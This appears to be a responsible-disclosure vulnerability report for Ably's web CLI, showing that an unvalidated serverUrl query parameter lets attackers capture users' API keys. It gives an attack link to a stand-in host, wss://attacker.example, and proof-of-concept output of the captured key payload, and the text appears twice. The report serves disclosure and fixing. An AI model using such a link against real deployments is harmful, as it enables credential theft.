Summary
App.tsx reads a serverUrl query parameter and passes it unvalidated to AblyCliTerminal.tsx, which uses it as the terminal WebSocket destination. There is no allowlist.
Notably, signedConfig/signature are already blocked in query parameters in production serverUrl was not given the same treatment.
Impact
An attacker can send a victim a link such as:
https://{web-cli-host}/?serverUrl=wss://attacker.example
The victim sees the genuine UI, enters their Ably API key, and the app transmits the plaintext key/secret over the WebSocket to the attacker's server. The signature is generated by the legitimate /api/sign endpoint, but it is sent alongside the raw key, making it irrelevant to the attacker. The attacker's server can also present a convincing fake terminal.
Stored credentials are domain-scoped and not leaked, but freshly entered keys are fully compromised.
Proof of Concept
A WebSocket server listening received the following when a test API key was entered into the Web CLI loaded at http://cli-web-cli.vercel.app/?serverUrl=ws://localhost:8765:
{
"config": "{\"apiKey\":\"<TEST_KEY_REDACTED>\",\"timestamp\":1789810969445,\"bypassRateLimit\":false}",
"signature": "7c9a07508560028b34a0fbbf367035de3714bd3b6d1be4a7ff6ebe86d82e7c18",
"apiKey": "<TEST_KEY_REDACTED>"
}
The plaintext API key appears twice inside the signed config blob and again as a top-level apiKey field.
Root Cause
examples/web-cli/src/App.tsx has two separate readers for security-relevant query parameters, and only one of them applies a production check.
serverUrl (vulnerable no environment check at all):
const getWebSocketUrl = () => {
const urlParams = new URLSearchParams(window.location.search);
const serverParam = urlParams.get("serverUrl");
if (serverParam) {
console.log(`[App.tsx] Found serverUrl param: ${serverParam}`);
return serverParam;
}
return isRunningCIMode() ? DEFAULT_DEVELOPMENT_WEBSOCKET_URL : DEFAULT_PRODUCTION_WEBSOCKET_URL;
};
Any value passed via ?serverUrl= is accepted and used as the terminal's WebSocket destination in every environment, including production.
signedConfig / signature (correctly guarded production check present):
const qsSignedConfig = urlParams.get('signedConfig');
const qsSignature = urlParams.get('signature');
if (qsSignedConfig && qsSignature) {
const isProduction = import.meta.env.PROD &&
!window.location.hostname.includes('localhost') &&
!window.location.hostname.includes('127.0.0.1');
if (isProduction) {
console.error('[App] Security Warning: Signed credentials in query parameters are not allowed in production.');
console.error('[App] Credentials contain API keys that can leak through browser history, server logs, and shared URLs.');
// strips the params from the URL and refuses to use them
...
}
}
This check exists in the same file and explicitly reasons about the exact risk this report describes: credentials leaking via browser history, server logs, and shared URLs. In production, these params are stripped and ignored.
The inconsistency: serverUrl is arguably more dangerous than signedConfig/signature, since it determines where credentials (freshly entered by the user via handleAuthenticate → /api/sign) actually get transmitted, yet it has none of the same protection. This isn't a case of the maintainers never considering untrusted query params in production they built a guard for one credential-adjacent parameter in this exact file. serverUrl simply never received the equivalent isProduction check.
Suggested fix, concretely: apply the same isProduction guard used for signedConfig/signature to serverUrl either ignore/strip it in production builds, or validate it against an allowlist of trusted WebSocket hosts before use.
CVE Request
Requesting a CVE ID for this issue:
- Distinct, fixable vulnerability in a distributed package.
@ably/react-web-cli is published to npm and consumed by third parties who embed it in their own web applications. Downstream deployments inherit the serverUrl behavior unless patched. A CVE gives them a stable identifier to track the fix and audit dependency trees.
- Enables credential theft, not just information disclosure. The attacker obtains a working API key in plaintext, usable directly against Ably's REST and Realtime APIs to publish, subscribe, and manipulate channels under the victim's identity.
- Fits the CWE-601 pattern (URL Redirection to Untrusted Site / Open Redirect).
serverUrl is an unvalidated redirect target for a channel that carries credentials. CWE-601 is a recognized vulnerability class with a well-established CVE history.
- Remotely triggerable with no authentication and no user interaction beyond entering a key on what appears to be a legitimate page. The attack surface is any deployment of the component.
Given the repo is under the ably GitHub org, requesting the CVE via GitHub's CNA program after a fix is available seems the natural path — happy to request directly from MITRE instead if preferred.
Disclosure
Reported to Ably's disclosure program on Sep 19, 2026. Ably confirmed ably-cli is out of scope for that program and pointed here for review by the maintaining team. Open to whatever timeline you prefer; if a CVE is issued, requesting it be published after a fix with credit to me as reporter.
Credit: Ranveer Kohli (aka @Bugatsec)
Summary
App.tsxreads aserverUrlquery parameter and passes it unvalidated toAblyCliTerminal.tsx, which uses it as the terminal WebSocket destination. There is no allowlist.Notably,
signedConfig/signatureare already blocked in query parameters in productionserverUrlwas not given the same treatment.Impact
An attacker can send a victim a link such as:
https://{web-cli-host}/?serverUrl=wss://attacker.exampleThe victim sees the genuine UI, enters their Ably API key, and the app transmits the plaintext key/secret over the WebSocket to the attacker's server. The signature is generated by the legitimate
/api/signendpoint, but it is sent alongside the raw key, making it irrelevant to the attacker. The attacker's server can also present a convincing fake terminal.Stored credentials are domain-scoped and not leaked, but freshly entered keys are fully compromised.
Proof of Concept
unvalidated.serverurl.mp4
capture-server.js(WebSocket listener used): https://pastebin.com/58dfu9bBA WebSocket server listening received the following when a test API key was entered into the Web CLI loaded at
http://cli-web-cli.vercel.app/?serverUrl=ws://localhost:8765:{ "config": "{\"apiKey\":\"<TEST_KEY_REDACTED>\",\"timestamp\":1789810969445,\"bypassRateLimit\":false}", "signature": "7c9a07508560028b34a0fbbf367035de3714bd3b6d1be4a7ff6ebe86d82e7c18", "apiKey": "<TEST_KEY_REDACTED>" }The plaintext API key appears twice inside the signed config blob and again as a top-level
apiKeyfield.Root Cause
examples/web-cli/src/App.tsxhas two separate readers for security-relevant query parameters, and only one of them applies a production check.serverUrl(vulnerable no environment check at all):Any value passed via
?serverUrl=is accepted and used as the terminal's WebSocket destination in every environment, including production.signedConfig/signature(correctly guarded production check present):This check exists in the same file and explicitly reasons about the exact risk this report describes: credentials leaking via browser history, server logs, and shared URLs. In production, these params are stripped and ignored.
The inconsistency:
serverUrlis arguably more dangerous thansignedConfig/signature, since it determines where credentials (freshly entered by the user viahandleAuthenticate→/api/sign) actually get transmitted, yet it has none of the same protection. This isn't a case of the maintainers never considering untrusted query params in production they built a guard for one credential-adjacent parameter in this exact file.serverUrlsimply never received the equivalentisProductioncheck.Suggested fix, concretely: apply the same
isProductionguard used forsignedConfig/signaturetoserverUrleither ignore/strip it in production builds, or validate it against an allowlist of trusted WebSocket hosts before use.CVE Request
Requesting a CVE ID for this issue:
@ably/react-web-cliis published to npm and consumed by third parties who embed it in their own web applications. Downstream deployments inherit theserverUrlbehavior unless patched. A CVE gives them a stable identifier to track the fix and audit dependency trees.serverUrlis an unvalidated redirect target for a channel that carries credentials. CWE-601 is a recognized vulnerability class with a well-established CVE history.Given the repo is under the
ablyGitHub org, requesting the CVE via GitHub's CNA program after a fix is available seems the natural path — happy to request directly from MITRE instead if preferred.Disclosure
Reported to Ably's disclosure program on Sep 19, 2026. Ably confirmed
ably-cliis out of scope for that program and pointed here for review by the maintaining team. Open to whatever timeline you prefer; if a CVE is issued, requesting it be published after a fix with credit to me as reporter.Credit: Ranveer Kohli (aka @Bugatsec)